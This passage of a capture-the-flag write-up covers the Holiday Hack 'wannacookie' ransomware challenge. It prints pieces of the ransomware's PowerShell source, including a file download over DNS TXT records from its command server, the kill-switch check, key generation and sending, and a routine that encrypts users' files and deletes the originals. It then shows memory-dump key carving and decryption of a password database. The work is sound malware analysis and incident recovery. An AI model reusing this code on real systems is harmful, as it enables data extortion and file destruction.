foreach ($i in 0..([convert]::ToInt32((Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).strings, 10)-1))
  {
    $h += (Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).strings
  };
$h | Out-File -FilePath source.min.html -Encoding ascii

Be patient since there are 6 755 parts to download the file !

You can download the source.min.html file zipped with a infected password there : source.min.zip.

And here is the displayed page (without running the malware) :

The only interesting part of the page is his javascript part :

  <script>
    const base64_cookie="[...datas cut...]CC";
    $(".c_img").each(function(index)
                       {
                         $(this).attr("src",base64_cookie);
                       }
                    );
    Date.prototype.addDays=function(days)
                             {
                               var date=new Date(this.valueOf());
                               date.setDate(date.getDate()+days);
                               return date;
                             };
    function get_count_down(date_string)
      {
        var countDownDate=new Date(date_string).addDays(3).getTime();
        var x=setInterval(function()
                            {
                              var now=new Date().getTime();
                              var distance=countDownDate-now;
                              var days=Math.floor(distance/(1000*60*60*24));
                              var hours=Math.floor((distance%(1000*60*60*24))/(1000*60*60));
                              var minutes=Math.floor((distance%(1000*60*60))/(1000*60));
                              var seconds=Math.floor((distance%(1000*60))/1000);
                              document.getElementById("demo").innerHTML=days+"d "+hours+"h "+minutes+"m "+seconds+"s ";
                              if(distance<0)
                                {
                                  clearInterval(x);
                                  document.getElementById("demo").innerHTML="EXPIRED";
                                }
                            },1000);
      };
    $('.key_button').click(function()
      {
        if($('#thekey').val().trim())
          {
            thekey=$('#thekey').val().trim()+'';
            $.get("http://127.0.0.1:8080/decrypt?key="+thekey).done(function(data)
              {
                if(data!="Invalid Key!")
                  {
                    $('#result').html(data);
                      if(confirm('Your files have been decrypted! Would you like to close this window?'))
                        {
                          window.close();
                        }
                  }
                else
                  {
                    $('#result').html(data);
                    $('#thekey').val('');
                    setTimeout(function()
                      {
                        $('#result').html('');
                      },2000);
                  }
              });
          }
        else
          {
            alert('You must input a key before decryption!');
          }
      });
    $('#Pause').click(function()
      {
        if($('#f_c').css('display')==='block')
          {
            $('#Pause').html('►');
            $('.c_div').css('display','none');
          }
        else
          {
            $('#Pause').html('<strong>‖</strong>');
            $('.c_div').css('display','block');
          }
     });
    $(document).ready(function()
      {
        $.get("http://127.0.0.1:8080/cookie_is_paid").done(function(data)
          {
            var[paid_status,cookie_id,expiration]=data.split('|');
            $('#key_p').text(paid_status);
            $('#id_p').text(cookie_id);
            get_count_down(expiration);
          });
      });
  </script>

But there is no surprise there. There is only some javascript code to call the local server functions already seen in the Powershell part.

After these good reads, we can go on and focus on the kill switch feature in order to stop infection. But before, like we can now ask the C&C for files, we try to look at hidden ones with a dictionary and this little script :

function A2H(){
    Param($a)
    $c = ''
    $b = $a.ToCharArray();
    Foreach ($element in $b) {
        $c = $c + " " + [System.String]::Format("{0:X}", [System.Convert]::ToUInt32($element))
    }
    return $c -replace ' '
}

foreach ( $word in Get-Content -Path dictionary.txt -Encoding ASCII )
  {
    # Convert $word in hexa-ascii
    $s = A2H $word
    $response = $(Resolve-DnsName -Server erohetfanu.com -Name ("$s.erohetfanu.com".trim()) -Type TXT).Strings
    if ( $response -ne "404NOTFOUND" )
      {
        Write-Output $word $response
      }
  }

...but we discover nothing !

Go back to the kill switch...

The kill switch is implemented in the two fist lines of the wanacookie function :

$S1 = "1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000"

if ($null -ne ((Resolve-DnsName -Name $(H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings))).ToString() -ErrorAction 0 -Server 8.8.8.8)))
  {
    return
  } 

Decomposing it, we understand that the if the name H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings)) exists, the ransomware exits immediately.So what is this name ?:

We just have to execute this command in Powershell to know it H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings)). To do this, we need the conversion functions H2A, B2H, G2B and H2B, and the ti_rox function. And the $S1 variable.

So with this source, we can get the kill switch name :

function H2B {
    param($HX)
    $HX = $HX -split '(..)' | ? { $_ }
    ForEach ($value in $HX){
        [Convert]::ToInt32($value,16)
    }
}

function H2A() {
    Param($a)
    $outa
    $a -split '(..)' | ? { $_ }  | forEach {[char]([convert]::toint16($_,16))} | forEach {$outa = $outa + $_}
    return $outa
}
function B2H {
    param($DEC)
    $tmp = ''
    ForEach ($value in $DEC){
        $a = "{0:x}" -f [Int]$value
        if ($a.length -eq 1){
            $tmp += '0' + $a
        } else {
            $tmp += $a
        }
    }
    return $tmp
}
function ti_rox {
    param($b1, $b2)
    $b1 = $(H2B $b1)
    $b2 = $(H2B $b2)
    $cont = New-Object Byte[] $b1.count
    if ($b1.count -eq $b2.count) {
        for($i=0; $i -lt $b1.count ; $i++)
        {
            $cont[$i] = $b1[$i] -bxor $b2[$i]
        }   
    }
    return $cont
}
function G2B {
param([byte[]]$Data)
	Process {
        $SrcData = New-Object System.IO.MemoryStream( , $Data )
	    $output = New-Object System.IO.MemoryStream
        $gStream = New-Object System.IO.Compression.GzipStream $SrcData, ([IO.Compression.CompressionMode]::Decompress)
	    $gStream.CopyTo( $output )
        $gStream.Close()
		$SrcData.Close()
		[byte[]] $byteArr = $output.ToArray()
        return $byteArr
    }
}

$S1 = "1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000";
$killswitch_name = H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings))
Write-Output $killswitch_name

Once executed we get :

yippeekiyaa.aaay

Now we can try to register this name with the « Hohoho Daddy » terminal :

Hohoho Daddy terminal

And this effectively stops the malware :

Objective 9.4 : Recover Alabaster's Password

Telling this good news to Alabaster, he replies :

We have seen in the malware source that it's possible to decrypt a file if we know the key. This key is probably somewhere in the memory dump.

After downloading it, we see that it is a powershell process memory dump.

Like Powershell is an interpreter, may be variables holding the keys are probably stored in a comprehensible form. We can first try to discover them with a simple grep.

Important note : the memory dump has been made with the minified script, so we have to use the minify names there, which are different than the equivalent ones in the non minified version.

Keys variables are stored in the $h_k local variable of the wanc function and in the $key parameters of the e_d_file and e_n_d> functions.

Since we know that the alabaster_passwords.elfdb has been encrypted, we can also search for this string.

After poking a little while in the dump, when looking for e_d_file in ASCII we found at offset 0x1E48270 an interesting XML document which seems to be the description of a Powershell Module for the cmd command launched by the e_n_d function :

<Obj RefId="0">
  <MS>
    <Obj N="PowerShell" RefId="1">
      <MS>
        <Obj N="Cmds" RefId="2">
          <TN RefId="0">
            <T>System.Collections.Generic.List`1[[System.Management.Automation.PSObject, System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]</T>
            <T>System.Object</T>
          </TN>
          <LST>
            <Obj RefId="3">
              <MS>
                <S N="Cmd">param($key, $File, $true_false);try{e_d_file $key $File $true_false} catch {$_.Exception.Message | Out-String | Out-File $($env:userprofile+'\Desktop\ps_log.txt') -append}</S>
                <B N="IsScript">true</B>
                <Nil N="UseLocalScope" />
                <Obj N="MergeMyResult" RefId="4">
                  <TN RefId="1">
                    <T>System.Management.Automation.Runspaces.PipelineResultTypes</T>
                    <T>System.Enum</T>
                    <T>System.ValueType</T>
                    <T>System.Object</T>
                  </TN>
                  <ToString>None</ToString>
                  <I32>0</I32>
                </Obj>
                <Obj N="MergeToResult" RefId="5">
                  <TNRef RefId="1" />
                    <ToString>None</ToString>
                    <I32>0</I32>
                </Obj>
                <Obj N="MergePreviousResults" RefId="6">
                  <TNRef RefId="1" />
                  <ToString>None</ToString>
                  <I32>0</I32>
                </Obj>
                <Obj N="MergeError" RefId="7">
                  <TNRef RefId="1" />
                  <ToString>None</ToString>
                  <I32>0</I32>
                </Obj>
                <Obj N="MergeWarning" RefId="8">
                  <TNRef RefId="1" />
                  <ToString>None</ToString>
                  <I32>0</I32>
                </Obj>
                <Obj N="MergeVerbose" RefId="9">
                  <TNRef RefId="1" />
                  <ToString>None</ToString>
                  <I32>0</I32>
                </Obj>
                <Obj N="MergeDebug" RefId="10">
                  <TNRef RefId="1" />
                  <ToString>None</ToString>
                  <I32>0</I32>
                </Obj>
                <Obj N="MergeInformation" RefId="11">
                  <TNRef RefId="1" />
                  <ToString>None</ToString>
                  <I32>0</I32>
                </Obj>
                <Obj N="Args" RefId="12">
                  <TNRef RefId="0" />
                  <LST>
                    <Obj RefId="13">
                      <MS>
                        <Nil N="N" />
                        <Obj N="V" RefId="14">
                          <TN RefId="2">
                            <T>System.Object[]</T>
                            <T>System.Array</T>
                            <T>System.Object</T>
                          </TN>
                          <LST>
                            <By>251</By><By>207</By><By>193</By><By>33</By><By>145</By><By>93</By><By>153</By><By>204</By><By>32</By><By>163</By><By>211</By><By>213</By><By>216</By><By>79</By><By>131</By><By>8</By>
                          </LST>
                        </Obj>
                      </MS>
                    </Obj>
                    <Obj RefId="15">
                      <MS>
                        <Nil N="N" />
                        <S N="V">C:\Users\alabaster\Desktop\alabaster_passwords.elfdb</S>
                      </MS>
                    </Obj>
                    <Obj RefId="16">
                      <MS>
                        <Nil N="N" />
                        <B N="V">true</B>
                      </MS>
                    </Obj>
                  </LST>
                </Obj>
              </MS>
            </Obj>
          </LST>
        </Obj>
        <B N="IsNested">false</B>
        <Nil N="History" />
        <B N="RedirectShellErrorOutputPipe">true</B>
      </MS>
    </Obj>
    <B N="NoInput">true</B>
    <Obj N="ApartmentState" RefId="17">
      <TN RefId="3">
        <T>System.Threading.ApartmentState</T>
        <T>System.Enum</T>
        <T>System.ValueType</T>
        <T>System.Object</T>
      </TN>
      <ToString>Unknown</ToString>
      <I32>2</I32>
    </Obj>
    <Obj N="RemoteStreamOptions" RefId="18">
      <TN RefId="4">
        <T>System.Management.Automation.RemoteStreamOptions</T>
        <T>System.Enum</T>
        <T>System.ValueType</T>
        <T>System.Object</T>
      </TN>
      <ToString>0</ToString>
      <I32>0</I32></Obj>
      <B N="AddToHistory">true</B>
      <Obj N="HostInfo" RefId="19">
        <MS>
          <B N="_isHostNull">true</B>
          <B N="_isHostUINull">true</B>
          <B N="_isHostRawUINull">true</B>
          <B N="_useRunspaceHost">true</B>
        </MS>
      </Obj>
      <B N="IsNested">false</B>
    </MS>
  </Obj>

There is a value for the $key parameter there !!!

Let's try it on the Alabaster's password database with this little script :

# Encryption/Decryption function extracted from the wanacookie.min.ps1 downloaded file
function e_d_file($key, $File, $enc_it)
  {
    Write-Output ("Entering function")
    [byte[]]$key = $key;
    $Suffix = "`.wannacookie";
    [System.Reflection.Assembly]::LoadWithPartialName('System.Security.Cryptography');
    [System.Int32]$KeySize = $key.Length*8;
    $AESP = New-Object 'System.Security.Cryptography.AesManaged';
    $AESP.Mode = [System.Security.Cryptography.CipherMode]::CBC;
    $AESP.BlockSize = 128;
    $AESP.KeySize = $KeySize;
    $AESP.Key = $key;
    $FileSR = New-Object System.IO.FileStream($File, [System.IO.FileMode]::Open);
    if ($enc_it)
      {
        $DestFile = $File + $Suffix
      }
    else
      {
        $DestFile = ($File -replace $Suffix)
      };
    $FileSW = New-Object System.IO.FileStream($DestFile, [System.IO.FileMode]::Create);
    if ($enc_it)
      {
        $AESP.GenerateIV();
        $FileSW.Write([System.BitConverter]::GetBytes($AESP.IV.Length), 0, 4);
        $FileSW.Write($AESP.IV, 0, $AESP.IV.Length);
        $Transform = $AESP.CreateEncryptor()
      }
    else
      {
        [Byte[]]$LenIV = New-Object Byte[] 4;
        $FileSR.Seek(0, [System.IO.SeekOrigin]::Begin) | Out-Null;
        $FileSR.Read($LenIV,  0, 3) | Out-Null;
        [Int]$LIV = [System.BitConverter]::ToInt32($LenIV,  0);
        [Byte[]]$IV = New-Object Byte[] $LIV;
        $FileSR.Seek(4, [System.IO.SeekOrigin]::Begin) | Out-Null;
        $FileSR.Read($IV, 0, $LIV) | Out-Null;
        $AESP.IV = $IV;
        $Transform = $AESP.CreateDecryptor()
      };
    $CryptoS = New-Object System.Security.Cryptography.CryptoStream($FileSW, $Transform, [System.Security.Cryptography.CryptoStreamMode]::Write);
    [Int]$Count = 0;
    [Int]$BlockSzBts = $AESP.BlockSize / 8;
    [Byte[]]$Data = New-Object Byte[] $BlockSzBts;
    Do
      {
        $Count = $FileSR.Read($Data, 0, $BlockSzBts);
        $CryptoS.Write($Data, 0, $Count)
      }
    While ($Count -gt 0);
    $CryptoS.FlushFinalBlock();
    $CryptoS.Close();
    $FileSR.Close();
    $FileSW.Close();
    Clear-variable -Name "key";
    Remove-Item $File
  }

# Secret encrytion key carved from powershell memory dump
$secretkey = [Byte[]] (251,207,193,33,145,93,153,204,32,163,211,213,216,79,131,8)

# call to the decryption function to decrypt Alabaster's passwords database
e_d_file $secretkey "alabaster_passwords.elfdb.wannacookie" 0

We get a alabaster_passwords.elfdb file, and once opened with SQLiteDatabaseBrowser we get the Graal :

May be we had been lucky because the wanacookie script launch another powershell script, we can probably achieve the same objective in a more reliable way. Watching the Chris Davis Analyzing PowerShell Malware video, we understand that it's better to use the Power_dump tool to carve keys from a process memory dump. Let's try it...

We download the Power Dump utility and launch it :

==============================
 |  __ \
 | |__) |____      _____ _ __
 |  ___/ _ \ \ /\ / / _ \ '__|
 | |  | (_) \ V  V /  __/ |
 |_|   \___/ \_/\_/ \___|_|
 __                       __
 \ \         (   )       / /
  \ \_    (   ) (      _/ /
   \__\    ) _   )    /__/
      \\    ( \_     //
       `\ _(_\ \)__ /'
         (____\___))
  _____  _    _ __  __ _____
 |  __ \| |  | |  \/  |  __ \
 | |  | | |  | | \  / | |__) |
 | |  | | |  | | |\/| |  ___/
 | |__| | |__| | |  | | |
 |_____/ \____/|_|  |_|_|
Dumps PowerShell From Memory
==============================
=======================================
1. Load PowerShell Memory Dump File
2. Process PowerShell Memory Dump
3. Search/Dump Powershell Scripts
4. Search/Dump Stored PS Variables
e. Exit
: 

Then we load the memory dump :

: 1
============ Load Dump Menu ================
COMMAND |     ARGUMENT       | Explanation
========|====================|==============
ld      | /path/to/file.name | load mem dump
ls      | ../directory/path  | list files
B       |                    | back to menu
============= Loaded File: =================

============================================
: ld forensic_artifacts/powershell.exe_181109_104716.dmp

Then go back to the menu :

============ Load Dump Menu ================
COMMAND |     ARGUMENT       | Explanation
========|====================|==============
ld      | /path/to/file.name | load mem dump
ls      | ../directory/path  | list files
B       |                    | back to menu
============= Loaded File: =================
forensic_artifacts/powershell.exe_181109_104716.dmp 427762187
============================================
: B

============ Main Menu ================
Memory Dump: forensic_artifacts/powershell.exe_181109_104716.dmp
Loaded     : True
Processed  : False
=======================================
1. Load PowerShell Memory Dump File
2. Process PowerShell Memory Dump
3. Search/Dump Powershell Scripts
4. Search/Dump Stored PS Variables
e. Exit
:

And process the dump with 2 choice :

: 2
[i] Please wait, processing memory dump...

...and after a few minutes :

[+] Found 65 script blocks!
[+] Found some Powershell variable names to work with...
[+] Found 10947 possible variables stored in memory
Would you like to save this processed data for quick processing later "Y"es or "N"o?
:
Successfully Processed Memory Dump!

Press Enter to Continue...

Then we can search variables to found the key.

Now we can search for stored variables for exemple :

============ Main Menu ================
Memory Dump: forensic_artifacts/powershell.exe_181109_104716.dmp
Loaded     : True
Processed  : True
=======================================
1. Load PowerShell Memory Dump File
2. Process PowerShell Memory Dump
3. Search/Dump Powershell Scripts
4. Search/Dump Stored PS Variables
e. Exit
: 4

[i] 10947 powershell Variable Values found!
============== Search/Dump PS Variable Values ===================================
COMMAND        |     ARGUMENT                | Explanation
===============|=============================|=================================
print          | print [all|num]             | print specific or all Variables
dump           | dump [all|num]              | dump specific or all Variables
contains       | contains [ascii_string]     | Variable Values must contain string
matches        | matches "[python_regex]"    | match python regex inside quotes
len            | len [>|<|>=|<=|==] [bt_size]| Variables length >,<,=,>=,<= size
clear          | clear [all|num]             | clear all or specific filter num
===============================================================================
: matches "^[a-fA-F0-9]+$"

This gives us 196 variables :

================ Filters ================
1| MATCHES  bool(re.search(r"^[a-fA-F0-9]+$",variable_values))

[i] 196 powershell Variable Values found!
============== Search/Dump PS Variable Values ===================================
COMMAND        |     ARGUMENT                | Explanation
===============|=============================|=================================
print          | print [all|num]             | print specific or all Variables
dump           | dump [all|num]              | dump specific or all Variables
contains       | contains [ascii_string]     | Variable Values must contain string
matches        | matches "[python_regex]"    | match python regex inside quotes
len            | len [>|<|>=|<=|==] [bt_size]| Variables length >,<,=,>=,<= size
clear          | clear [all|num]             | clear all or specific filter num
===============================================================================
: 

We can refine our search with a length of 32 and the len == 32 command. This lets us with 5 variables :

================ Filters ================
1| MATCHES  bool(re.search(r"^[a-fA-F0-9]+$",variable_values))
2| LENGTH  len(variable_values) == 32

[i] 5 powershell Variable Values found!

Now we can view or dump the five and test them :

: print
033ecb2bc07a4d43b5ef94ed5a35d280
Variable Values #1 above ^
Type any key to go back and just Enter to Continue...
cf522b78d86c486691226b40aa69e95c
Variable Values #2 above ^
Type any key to go back and just Enter to Continue...
9e210fe47d09416682b841769c78b8a3
Variable Values #3 above ^
Type any key to go back and just Enter to Continue...
4ec4f0187cb04f4cb6973460dfe252df
Variable Values #4 above ^
Type any key to go back and just Enter to Continue...27c87ef9bbda4f709f6b4002fa4af63c
Variable Values #5 above ^
Type any key to go back and just Enter to Continue...

None of those variables is our key... probably because the dump has been made after the two Clear-variable instructions on lines 202 and 203 :

function wannacookie {
    $S1 = "1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000"
    if ($null -ne ((Resolve-DnsName -Name $(H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings))).ToString() -ErrorAction 0 -Server 8.8.8.8))) {return} 
    if ($(netstat -ano | Select-String "127.0.0.1:8080").length -ne 0 -or (Get-WmiObject Win32_ComputerSystem).Domain -ne "KRINGLECASTLE") {return}
    $pub_key = [System.Convert]::FromBase64String($(get_over_dns("7365727665722E637274") ) )
    $Byte_key = ([System.Text.Encoding]::Unicode.GetBytes($(([char[]]([char]01..[char]255) + ([char[]]([char]01..[char]255)) + 0..9 | sort {Get-Random})[0..15] -join ''))  | ? {$_ -ne 0x00})
    $Hex_key = $(B2H $Byte_key)
    $Key_Hash = $(Sha1 $Hex_key)
    $Pub_key_encrypted_Key = (Pub_Key_Enc $Byte_key $pub_key).ToString()
    $cookie_id = (send_key $Pub_key_encrypted_Key)
    $date_time = (($(Get-Date).ToUniversalTime() | Out-String) -replace "`r`n")
    [array]$future_cookies = $(Get-ChildItem *.elfdb -Exclude *.wannacookie -Path $($($env:userprofile+'\Desktop'),$($env:userprofile+'\Documents'),$($env:userprofile+'\Videos'),$($env:userprofile+'\Pictures'),$($env:userprofile+'\Music')) -Recurse | where { ! $_.PSIsContainer } | Foreach-Object {$_.Fullname})
    enc_dec $Byte_key $future_cookies $true
    Clear-variable -Name "Hex_key"
    Clear-variable -Name "Byte_key"
    $lurl = 'http://127.0.0.1:8080/'
    $htmlcontents = @{
        'GET /'  =  $(get_over_dns (A2H "source.min.html"))
        'GET /close'  =  'Bye!'
    }

Our key in hex form is in the Hex_key variable.

We have to look for a variable in a binary format (a byte array). But it seems that power_dump does not handle this.

Wait... there is also the encrypted key in the $Pub_key_encrypted_Key variable (or $p_k_e_k in minified version) which has not been wipped. May be we can get it with power_dump and decrypt it with the server private key ?

The server public key server.cert is downloaded from the server. What if we ask for server.key instead ?

function H2A() {
    Param($a)
    $outa
    $a -split '(..)' | ? { $_ }  | forEach {[char]([convert]::toint16($_,16))} | forEach {$outa = $outa + $_}
    return $outa
}

function get_over_dns($f) {
    $h = ''
    foreach ($i in 0..([convert]::ToInt32($(Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).Strings, 10)-1)) {
        $h += $(Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).Strings
    }
    return (H2A $h)
}

# 7365727665722E637274 ==> "server.crt"
$pub_key = [System.Convert]::FromBase64String($(get_over_dns("7365727665722E637274") ) )
# 7365727665722E6B6579 ==> "server.key"
$private_key = $(get_over_dns("7365727665722E6B6579"))

$private_key | Out-File -FilePath server.key -Encoding ascii

And yes, it works :-) :

-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDEiNzZVUbXCbMG
L4sM2UtilR4seEZli2CMoDJ73qHql+tSpwtK9y4L6znLDLWSA6uvH+lmHhhep9ui
W3vvHYCq+Ma5EljBrvwQy0e2Cr/qeNBrdMtQs9KkxMJAz0fRJYXvtWANFJF5A+Nq
jI+jdMVtL8+PVOGWp1PA8DSW7i+9eLkqPbNDxCfFhAGGlHEU+cH0CTob0SB5Hk0S
TPUKKJVc3fsD8/t60yJThCw4GKkRwG8vqcQCgAGVQeLNYJMEFv0+WHAt2WxjWTu3
HnAfMPsiEnk/y12SwHOCtaNjFR8Gt512D7idFVW4p5sT0mrrMiYJ+7x6VeMIkrw4
tk/1ZlYNAgMBAAECggEAHdIGcJOX5Bj8qPudxZ1S6uplYan+RHoZdDz6bAEj4Eyc
0DW4aO+IdRaD9mM/SaB09GWLLIt0dyhRExl+fJGlbEvDG2HFRd4fMQ0nHGAVLqaW
OTfHgb9HPuj78ImDBCEFaZHDuThdulb0sr4RLWQScLbIb58Ze5p4AtZvpFcPt1fN
6YqS/y0i5VEFROWuldMbEJN1x+xeiJp8uIs5KoL9KH1njZcEgZVQpLXzrsjKr67U
3nYMKDemGjHanYVkF1pzv/rardUnS8h6q6JGyzV91PpLE2I0LY+tGopKmuTUzVOm
Vf7sl5LMwEss1g3x8gOh215Ops9Y9zhSfJhzBktYAQKBgQDl+w+KfSb3qZREVvs9
uGmaIcj6Nzdzr+7EBOWZumjy5WWPrSe0S6Ld4lTcFdaXolUEHkE0E0j7H8M+dKG2
Emz3zaJNiAIX89UcvelrXTV00k+kMYItvHWchdiH64EOjsWrc8co9WNgK1XlLQtG
4iBpErVctbOcjJlzv1zXgUiyTQKBgQDaxRoQolzgjElDG/T3VsC81jO6jdatRpXB
0URM8/4MB/vRAL8LB834ZKhnSNyzgh9N5G9/TAB9qJJ+4RYlUUOVIhK+8t863498
/P4sKNlPQio4Ld3lfnT92xpZU1hYfyRPQ29rcim2c173KDMPcO6gXTezDCa1h64Q
8iskC4iSwQKBgQCvwq3f40HyqNE9YVRlmRhryUI1qBli+qP5ftySHhqy94okwerE
KcHw3VaJVM9J17Atk4m1aL+v3Fh01OH5qh9JSwitRDKFZ74JV0Ka4QNHoqtnCsc4
eP1RgCE5z0w0efyrybH9pXwrNTNSEJi7tXmbk8azcdIw5GsqQKeNs6qBSQKBgH1v
sC9DeS+DIGqrN/0tr9tWklhwBVxa8XktDRV2fP7XAQroe6HOesnmpSx7eZgvjtVx
moCJympCYqT/WFxTSQXUgJ0d0uMF1lcbFH2relZYoK6PlgCFTn1TyLrY7/nmBKKy
DsuzrLkhU50xXn2HCjvG1y4BVJyXTDYJNLU5K7jBAoGBAMMxIo7+9otN8hWxnqe4
Ie0RAqOWkBvZPQ7mEDeRC5hRhfCjn9w6G+2+/7dGlKiOTC3Qn3wz8QoG4v5xAqXE
JKBn972KvO0eQ5niYehG4yBaImHH+h6NVBlFd0GJ5VhzaBJyoOk+KnOnvVYbrGBq
UdrzXvSwyFuuIqBlkHnWSIeC
-----END PRIVATE KEY-----

Now we have to find the encrypted key in memory. Go back to power_dump and look for variables of 512 (256*2) bytes length :

================ Filters ================
1| LENGTH  len(variable_values) == 512

[i] 1 powershell Variable Values found!
============== Search/Dump PS Variable Values ===================================
COMMAND        |     ARGUMENT                | Explanation
===============|=============================|=================================
print          | print [all|num]             | print specific or all Variables
dump           | dump [all|num]              | dump specific or all Variables
contains       | contains [ascii_string]     | Variable Values must contain string
matches        | matches "[python_regex]"    | match python regex inside quotes
len            | len [>|<|>=|<=|==] [bt_size]| Variables length >,<,=,>=,<= size
clear          | clear [all|num]             | clear all or specific filter num
===============================================================================
: print
3cf903522e1a3966805b50e7f7dd51dc7969c73cfb1663a75a56ebf4aa4a1849d1949005437dc44b8464dca05680d531b7a971672d87b24b7a6d672d1d811e6c34f42b2f8d7f2b43aab698b537d2df2f401c2a09fbe24c5833d2c5861139c4b4d3147abb55e671d0cac709d1cfe86860b6417bf019789950d0bf8d83218a56e69309a2bb17dcede7abfffd065ee0491b379be44029ca4321e60407d44e6e381691dae5e551cb2354727ac257d977722188a946c75a295e714b668109d75c00100b94861678ea16f8b79b756e45776d29268af1720bc49995217d814ffd1e4b6edce9ee57976f9ab398f9a8479cf911d7d47681a77152563906a2c29c6d12f971
Variable Values #1 above ^
Type any key to go back and just Enter to Continue...

We can now try to decipher this key with the server private key :

3cf903522e1a3966805b50e7f7dd51dc7969c73cfb1663a75a56ebf4aa4a1849d1949005437dc44b8464dca05680d531b7a971672d87b24b7a6d672d1d811e6c34f42b2f8d7f2b43aab698b537d2df2f401c2a09fbe24c5833d2c5861139c4b4d3147abb55e671d0cac709d1cfe86860b6417bf019789950d0bf8d83218a56e69309a2bb17dcede7abfffd065ee0491b379be44029ca4321e60407d44e6e381691dae5e551cb2354727ac257d977722188a946c75a295e714b668109d75c00100b94861678ea16f8b79b756e45776d29268af1720bc49995217d814ffd1e4b6edce9ee57976f9ab398f9a8479cf911d7d47681a77152563906a2c29c6d12f971

Once this key saved in binary format in a encrypted_key.bin file, we can decrypt it with openssl with a openssl rsautl -in "encrypted_key.bin" -inkey "server.key" -out "decrypted_key.bin" -oaep command. We get a decrypted_key.bin file whose content is the same as the key we discovered in the xml structure in memory. xxd decrypted_key.bin :

00000000: fbcf c121 915d 99cc 20a3 d3d5 d84f 8308

Ok, now let's resume our journey.

The Alabaster's active directory password is CookiesR0cK!2!# :

Our roadmap is now almost completed :

Objective	Difficulty	Terminal & links	Character
1) Orientation Challenge		KringleCon Holiday Hack History kiosk Essential Editor Skills	Bushy Evergreen
2) Directory Browsing		CFP site The Name Game terminal	Minty Candycane
3) de Bruijn Sequences		Lethal ForensicELFication terminal	Tangle Coalbox
4) Data Repo Analysis		North Pole Git repository Stall Mucking Report terminal	Wunorse Openslae
5) AD Privilege Discovery		SANS Slingshot Linux Image CURLing Master terminal	Holly Evergreen
6) Badge Manipulation		sample employee badge Yule Log Analysis terminal	Pepper Minstix
7) HR Incident Response		ELF Resources website Dev Ops Fail terminal	Sparkle Redberry
8) Network Traffic Forensics		web-based packet capture and analysis tool Python Escape from LA terminal	SugarPlum Mary
9) Ransomware Recovery		Sleigh Bell Lottery terminal	Shinny Upatree
9.1) Catch the Malware		Snort Challenge terminal	Alabaster Snowball
9.2) Identify the Domain			Alabaster Snowball
9.3) Stop the Malware		Hohoho Daddy terminal	Alabaster Snowball
9.4) Recover Alabaster's Password		Elf terminal	Alabaster Snowball
10) Who Is Behind It All?		Piano Lock

Objective 10 : Who Is Behind It All?

...wait... there are other passwords in the database. We have also the Alabaster's barcode scanner password, which is not of any help, and the vault password !!! We can probably enter the Vault with it !

Santa's Vault

Vault key is : ED#ED#EED#EF#G#F#G#ABA#BA#B :

... fail !!!

We did not speak with Alabaster after retrieving his password. May be he has a hint for us ?

Alabaster gives us a precious hint. His musical password is from Rachmaninoff and the hint is this one : « Really, it's Mozart. And it should be in the key of D, not E ».

So the vault key has to be transposed. And the real key in D has to be transposed in E, so we have to go down one tone.

This gives us the new key : DC#DC#DDC#DEF#EF#GAG#AG#A.

Trying this new code :

It works :

Three new achievements and one new narrative !

The last narrative seams to end this year challenge :

The Santa's vault is now opened :

In the vault we find two Elf-In-Disguise, Santa and Hans :

We get the congratulations from Hans and from the elves :

And after a while, from Santa himself :

So the mastermind behind the whole KringleCon plan was Santa himself :-) :

This ends this amazing journey :-) :

Our roadmap is now completed !!!

Mysterious backroom

There is a mysterious room at the back of the first floor with a hole in the east wall :

We try to cheat with websockets calls to go through the hole, but it does not worked !

May be it's the room for the awards ceremony ? or may be we missed something...

---

Narrative

Here is the complete narrative :

---

Hints

https://en.internetwache.org/dont-publicly-expose-git-or-how-we-downloaded-your-websites-sourcecode-an-analysis-of-alexas-1m-28-07-2015/

Barcode Creation

From : Pepper Minstix

Creating QR barcodes

Bloodhound Demo

From : Holly Evergreen

Bloodhound Demo

Bloodhound Tool

From : Holly Evergreen

Bloodhound Tool

CSV Injection Talk

From : Sparkle Redberry

Somehow Brian Hostetler is giving a talk on CSV injection WHILE he's giving a talk on Trufflehog. Whatta' guy!

de Bruijn Sequence Generator

From : Tangle Coalbox

de Bruijn sequence generator

Finding Browsable Directories

From : Minty Candycane

On a website, finding browsable directories is sometimes as simple as removing characters from the end of a URL.

Finding Password in Git

From : Sparkle Redberry

Search Git for Passwords

Git Cheat Sheet

From : Sparkle Redberry

Git Cheat Sheet

HTTP/2.0 Basics

From : Holly Evergreen

HTTP/2.0

Malware Reverse Engineering

From : Alabaster Snowball

Whoa, Chris Davis' talk on PowerShell malware is crazy pants! You should check it out!

Opening a Ford Lock Code

From : Tangle Coalbox

Opening a Ford with a Robot and the de Bruijn Sequence

OWASP on CSV Injection

From : Sparkle Redberry

OWASP CSV Injection Page

Password Spraying

From : Pepper Minstix

Password Spraying with MailSniper.ps1

Past Holiday Hack Challenges

From : Bushy Evergreen

Past Holiday Hack Challenges

Plaintext Credentials in Commands

From : Wunorse Openslae

Keeping Command Line Passwords Out of PS

Powershell Command Injection

From : Minty Candycane

Powershell Call/& Operator

